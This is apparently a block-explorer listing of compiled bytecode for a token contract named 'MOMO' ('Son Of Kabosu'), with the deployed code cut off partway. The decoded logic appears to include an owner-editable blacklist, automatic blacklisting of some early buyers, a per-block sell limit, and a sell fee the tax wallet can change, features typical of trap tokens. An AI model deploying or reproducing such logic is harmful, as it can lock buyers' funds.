6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a290612f8a565b60405180910390fd5b5f5b8151811015610831575f60075f8484815181106107cd576107cc612fa8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506107ad565b5050565b60145481565b60135481565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60155481565b60025481565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108ed6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610979576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097090612f8a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060128054610a6990612d29565b80601f0160208091040260200160405190810160405280929190818152602001828054610a9590612d29565b8015610ae05780601f10610ab757610100808354040283529160200191610ae0565b820191905f5260205f20905b815481529060010190602001808311610ac357829003601f168201915b5050505050905090565b5f610afd610af66114f5565b84846116bf565b6001905092915050565b610b0f6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9290612f8a565b60405180910390fd5b6009600a610ba99190612eb5565b6305f5e100610bb89190612eff565b6013819055506009600a610bcc9190612eb5565b6305f5e100610bdb9190612eff565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610c109190612eb5565b6305f5e100610c1f9190612eff565b604051610c2c9190612a1c565b60405180910390a1565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c766114f5565b73ffffffffffffffffffffffffffffffffffffffff1614610c95575f80fd5b5f610c9f3061089f565b90505f811115610cb357610cb2816123a2565b5b5f4790505f811115610cc957610cc88161260d565b5b5050565b610cd56114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612f8a565b60405180910390fd5b601860149054906101000a900460ff1615610db1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da89061301f565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e3030337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6114fc565b610e6830610e636064610e55605f610e473361089f565b61267590919063ffffffff16565b6126ec90919063ffffffff16565b610aea565b5060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ed3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ef79190613051565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f7d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fa19190613051565b6040518363ffffffff1660e01b8152600401610fbe92919061307c565b6020604051808303815f875af1158015610fda573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ffe9190613051565b60185f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506110893060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6114fc565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110d13061089f565b5f806110db610a33565b426040518863ffffffff1660e01b81526004016110fd969594939291906130e5565b60606040518083038185885af1158015611119573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061113e9190613158565b50505060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111de9291906131a8565b6020604051808303815f875af11580156111fa573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061121e91906131f9565b506001601860166101000a81548160ff0219169083151502179055506001601860146101000a81548160ff021916908315150217905550565b61125f6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e290612f8a565b60405180910390fd5b5f5b815181101561137257600160075f84848151811061130e5761130d612fa8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506112ed565b5050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6114006114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461148c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148390612f8a565b60405180910390fd5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114cc6114f5565b73ffffffffffffffffffffffffffffffffffffffff16146114eb575f80fd5b80600c8190555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361156a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156190613294565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cf90613322565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116b29190612a1c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361172d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611724906133b0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361179b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117929061343e565b60405180910390fd5b5f81116117dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d4906134cc565b60405180910390fd5b5f6117e6610a33565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156118545750611824610a33565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c775760075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156118f7575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b6118ff575f80fd5b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119a8575060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119fb575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611a4e575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c7657600160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506009600a611ab69190612eb5565b62086470611ac49190612eff565b821115611bad5760025f815480929190611add906134ea565b919050555060015460025411611ba857600160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f604051611b9f9190613531565b60405180910390a35b611c75565b6001546002541015611c7457600160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f604051611c6b9190613531565b60405180910390a35b5b5b5b611cb36064611ca5600d5460105411611c9257600954611c96565b600b545b8561267590919063ffffffff16565b6126ec90919063ffffffff16565b905060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611d5e575060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611db1575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611e6b57601354821115611dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df290613594565b60405180910390fd5b60145482611e088561089f565b611e1291906135b2565b1115611e53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4a9061362f565b60405180910390fd5b60105f815480929190611e65906134ea565b91905055505b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ef357503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f3757611f346064611f26600e5460105411611f1357600a54611f17565b600c545b8561267590919063ffffffff16565b6126ec90919063ffffffff16565b90505b5f611f413061089f565b9050601860159054906101000a900460ff16158015611fac575060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611fc45750601860169054906101000a900460ff165b8015611fd1575060155481115b8015611fe05750600f54601054115b1561208f57601a54431115611ff7575f6019819055505b60036019541061203c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203390613697565b60405180910390fd5b6120596120548461204f84601654612735565b612735565b6123a2565b5f4790505f81111561206f5761206e4761260d565b5b60195f815480929190612081906134ea565b919050555043601a81905550505b5f82111561218e576120e78260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461274d90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516121859190612a1c565b60405180910390a35b6121de8360045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546127aa90919063ffffffff16565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061228161223583856127aa90919063ffffffff16565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461274d90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61232485876127aa90919063ffffffff16565b6040516123319190612a1c565b60405180910390a35050505050565b5f838311158290612387576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237e91906128de565b60405180910390fd5b505f838561239591906136b5565b9050809150509392505050565b6001601860156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156123d9576123d8612abd565b5b6040519080825280602002602001820160405280156124075781602001602082028036833780820191505090505b50905030815f8151811061241e5761241d612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124e69190613051565b816001815181106124fa576124f9612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125603060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114fc565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016125c295949392919061379f565b5f604051808303815f87803b1580156125d9575f80fd5b505af11580156125eb573d5f803e3d5ffd5b50505050505f601860156101000a81548160ff02191690831515021790555050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612671573d5f803e3d5ffd5b5050565b5f808303612685575f90506126e6565b5f82846126929190612eff565b90508284826126a19190613824565b146126e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d8906138c4565b60405180910390fd5b809150505b92915050565b5f61272d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506127f3565b905092915050565b5f8183106127435781612745565b825b905092915050565b5f80828461275b91906135b2565b9050838110156127a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127979061392c565b60405180910390fd5b8091505092915050565b5f6127eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612340565b905092915050565b5f8083118290612839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283091906128de565b60405180910390fd5b505f83856128479190613824565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561288b578082015181840152602081019050612870565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6128b082612854565b6128ba818561285e565b93506128ca81856020860161286e565b6128d381612896565b840191505092915050565b5f6020820190508181035f8301526128f681846128a6565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6129388261290f565b9050919050565b6129488161292e565b8114612952575f80fd5b50565b5f813590506129638161293f565b92915050565b5f819050919050565b61297b81612969565b8114612985575f80fd5b50565b5f8135905061299681612972565b92915050565b5f80604083850312156129b2576129b1612907565b5b5f6129bf85828601612955565b92505060206129d085828601612988565b9150509250929050565b5f8115159050919050565b6129ee816129da565b82525050565b5f602082019050612a075f8301846129e5565b92915050565b612a1681612969565b82525050565b5f602082019050612a2f5f830184612a0d565b92915050565b5f805f60608486031215612a4c57612a4b612907565b5b5f612a5986828701612955565b9350506020612a6a86828701612955565b9250506040612a7b86828701612988565b9150509250925092565b5f60ff82169050919050565b612a9a81612a85565b82525050565b5f602082019050612ab35f830184612a91565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612af382612896565b810181811067ffffffffffffffff82111715612b1257612b11612abd565b5b80604052505050565b5f612b246128fe565b9050612b308282612aea565b919050565b5f67ffffffffffffffff821115612b4f57612b4e612abd565b5b602082029050602081019050919050565b5f80fd5b5f612b76612b7184612b35565b612b1b565b90508083825260208201905060208402830185811115612b9957612b98612b60565b5b835b81811015612bc25780612bae8882612955565b845260208401935050602081019050612b9b565b5050509392505050565b5f82601f830112612be057612bdf612ab9565b5b8135612bf0848260208601612b64565b91505092915050565b5f60208284031215612c0e57612c0d612907565b5b5f82013567ffffffffffffffff811115612c2b57612c2a61290b565b5b612c3784828501612bcc565b91505092915050565b5f60208284031215612c5557612c54612907565b5b5f612c6284828501612955565b91505092915050565b612c748161292e565b82525050565b5f602082019050612c8d5f830184612c6b565b92915050565b5f8060408385031215612ca957612ca8612907565b5b5f612cb685828601612955565b9250506020612cc785828601612955565b9150509250929050565b5f60208284031215612ce657612ce5612907565b5b5f612cf384828501612988565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612d4057607f821691505b602082108103612d5357612d52612cfc565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612ddb57808604811115612db757612db6612d59565b5b6001851615612dc65780820291505b8081029050612dd485612d86565b9450612d9b565b94509492505050565b5f82612df35760019050612eae565b81612e00575f9050612eae565b8160018114612e165760028114612e2057612e4f565b6001915050612eae565b60ff841115612e3257612e31612d59565b5b8360020a915084821115612e4957612e48612d59565b5b50612eae565b5060208310610133831016604e8410600b8410161715612e845782820a905083811115612e7f57612e7e612d59565b5b612eae565b612e918484846001612d92565b92509050818404811115612ea857612ea7612d59565b5b81810290505b9392505050565b5f612ebf82612969565b9150612eca83612a85565b9250612ef77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612de4565b905092915050565b5f612f0982612969565b9150612f1483612969565b9250828202612f2281612969565b91508282048414831517612f3957612f38612d59565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612f7460208361285e565b9150612f7f82612f40565b602082019050919050565b5f6020820190508181035f830152612fa181612f68565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61300960178361285e565b915061301482612fd5565b602082019050919050565b5f6020820190508181035f83015261303681612ffd565b9050919050565b5f8151905061304b8161293f565b92915050565b5f6020828403121561306657613065612907565b5b5f6130738482850161303d565b91505092915050565b5f60408201905061308f5f830185612c6b565b61309c6020830184612c6b565b9392505050565b5f819050919050565b5f819050919050565b5f6130cf6130ca6130c5846130a3565b6130ac565b612969565b9050919050565b6130df816130b5565b82525050565b5f60c0820190506130f85f830189612c6b565b6131056020830188612a0d565b61311260408301876130d6565b61311f60608301866130d6565b61312c6080830185612c6b565b61313960a0830184612a0d565b979650505050505050565b5f8151905061315281612972565b92915050565b5f805f6060848603121561316f5761316e612907565b5b5f61317c86828701613144565b935050602061318d86828701613144565b925050604061319e86828701613144565b9150509250925092565b5f6040820190506131bb5f830185612c6b565b6131c86020830184612a0d565b9392505050565b6131d8816129da565b81146131e2575f80fd5b50565b5f815190506131f3816131cf565b92915050565b5f6020828403121561320e5761320d612907565b5b5f61321b848285016131e5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61327e60248361285e565b915061328982613224565b604082019050919050565b5f6020820190508181035f8301526132ab81613272565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61330c60228361285e565b9150613317826132b2565b604082019050919050565b5f6020820190508181035f83015261333981613300565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61339a60258361285e565b91506133a582613340565b604082019050919050565b5f6020820190508181035f8301526133c78161338e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61342860238361285e565b9150613433826133ce565b604082019050919050565b5f6020820190508181035f8301526134558161341c565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6134b660298361285e565b91506134c18261345c565b604082019050919050565b5f6020820190508181035f8301526134e3816134aa565b9050919050565b5f6134f482612969565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361352657613525612d59565b5b600182019050919050565b5f6020820190506135445f8301846130d6565b92915050565b7f4578636565647320746865205f7831435249535059582e0000000000000000005f82015250565b5f61357e60178361285e565b91506135898261354a565b602082019050919050565b5f6020820190508181035f8301526135ab81613572565b9050919050565b5f6135bc82612969565b91506135c783612969565b92508282019050808211156135df576135de612d59565b5b92915050565b7f457863656564732074686520783052554747454452422e0000000000000000005f82015250565b5f61361960178361285e565b9150613624826135e5565b602082019050919050565b5f6020820190508181035f8301526136468161360d565b9050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f61368160178361285e565b915061368c8261364d565b602082019050919050565b5f6020820190508181035f8301526136ae81613675565b9050919050565b5f6136bf82612969565b91506136ca83612969565b92508282039050818111156136e2576136e1612d59565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61371a8161292e565b82525050565b5f61372b8383613711565b60208301905092915050565b5f602082019050919050565b5f61374d826136e8565b61375781856136f2565b935061376283613702565b805f5b838110156137925781516137798882613720565b975061378483613737565b925050600181019050613765565b5085935050505092915050565b5f60a0820190506137b25f830188612a0d565b6137bf60208301876130d6565b81810360408301526137d18186613743565b90506137e06060830185612c6b565b6137ed6080830184612a0d565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61382e82612969565b915061383983612969565b925082613849576138486137f7565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6138ae60218361285e565b91506138b982613854565b604082019050919050565b5f6020820190508181035f8301526138db816138a2565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613916601b8361285e565b9150613921826138e2565b602082019050919050565b5f6020820190508181035f8301526139438161390a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122081861461d7cadd0869c07127e78660a6bc010d0a3a31c4baa3e428f83f036fb764736f6c634300081700330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000044d4f4d4f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d536f6e204f66204b61626f737500000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061014e575f3560e01c80634d697f8b116100b5578063beb7d6531161006e578063beb7d65314610491578063c69dd715146104a7578063c9567bf9146104bd578063d34628cc146104d3578063dd62ed3e146104fb578063ec1f3f631461053757610155565b80634d697f8b1461038557806370a08231146103af578063715018a6146103eb5780638da5cb5b1461040157806395d89b411461042b578063a9059cbb1461045557610155565b8063313ce56711610107578063313ce5671461027957806331c2d847146102a357806334f6dd95146102cb5780633a101d07146102f55780633bbac5791461031f57806345691c5c1461035b57610155565b806306fdde0314610159578063095ea7b3146101835780630faee56f146101bf57806318160ddd146101e9578063188d16441461021357806323b872dd1461023d57610155565b3661015557005b5f80fd5b348015610164575f80fd5b5061016d61055f565b60405161017a91906128de565b60405180910390f35b34801561018e575f80fd5b506101a960048036038101906101a4919061299c565b6105ef565b6040516101b691906129f4565b60405180910390f35b3480156101ca575f80fd5b506101d361060c565b6040516101e09190612a1c565b60405180910390f35b3480156101f4575f80fd5b506101fd610612565b60405161020a9190612a1c565b60405180910390f35b34801561021e575f80fd5b50610227610635565b6040516102349190612a1c565b60405180910390f35b348015610248575f80fd5b50610263600480360381019061025e9190612a35565b61063b565b60405161027091906129f4565b60405180910390f35b348015610284575f80fd5b5061028d61070f565b60405161029a9190612aa0565b60405180910390f35b3480156102ae575f80fd5b506102c960048036038101906102c49190612bf9565b610717565b005b3480156102d6575f80fd5b506102df610835565b6040516102ec9190612a1c565b60405180910390f35b348015610300575f80fd5b5061030961083b565b6040516103169190612a1c565b60405180910390f35b34801561032a575f80fd5b5061034560048036038101906103409190612c40565b610841565b60405161035291906129f4565b60405180910390f35b348015610366575f80fd5b5061036f610893565b60405161037c9190612a1c565b60405180910390f35b348015610390575f80fd5b50610399610899565b6040516103a69190612a1c565b60405180910390f35b3480156103ba575f80fd5b506103d560048036038101906103d09190612c40565b61089f565b6040516103e29190612a1c565b60405180910390f35b3480156103f6575f80fd5b506103ff6108e5565b005b34801561040c575f80fd5b50610415610a33565b6040516104229190612c7a565b60405180910390f35b348015610436575f80fd5b5061043f610a5a565b60405161044c91906128de565b60405180910390f35b348015610460575f80fd5b5061047b6004803603810190610476919061299c565b610aea565b60405161048891906129f4565b60405180910390f35b34801561049c575f80fd5b506104a5610b07565b005b3480156104b2575f80fd5b506104bb610c36565b005b3480156104c8575f80fd5b506104d1610ccd565b005b3480156104de575f80fd5b506104f960048036038101906104f49190612bf9565b611257565b005b348015610506575f80fd5b50610521600480360381019061051c9190612c93565b611376565b60405161052e9190612a1c565b60405180910390f35b348015610542575f80fd5b5061055d60048036038101906105589190612cd1565b6113f8565b005b60606011805461056e90612d29565b80601f016020809104026020016040519081016040528092919081815260200182805461059a90612d29565b80156105e55780601f106105bc576101008083540402835291602001916105e5565b820191905f5260205f20905b8154815290600101906020018083116105c857829003601f168201915b5050505050905090565b5f6106026105fb6114f5565b84846114fc565b6001905092915050565b60165481565b5f6009600a6106219190612eb5565b6305f5e1006106309190612eff565b905090565b60015481565b5f6106478484846116bf565b610704846106536114f5565b6106ff8560405180606001604052806028815260200161394b6028913960055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106b66114f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123409092919063ffffffff16565b6114fc565b600190509392505050565b5f6009905090565b61071f6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a290612f8a565b60405180910390fd5b5f5b8151811015610831575f60075f8484815181106107cd576107cc612fa8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506107ad565b5050565b60145481565b60135481565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60155481565b60025481565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108ed6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610979576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097090612f8a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060128054610a6990612d29565b80601f0160208091040260200160405190810160405280929190818152602001828054610a9590612d29565b8015610ae05780601f10610ab757610100808354040283529160200191610ae0565b820191905f5260205f20905b815481529060010190602001808311610ac357829003601f168201915b5050505050905090565b5f610afd610af66114f5565b84846116bf565b6001905092915050565b610b0f6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9b576040517f08c379a00000000000000000000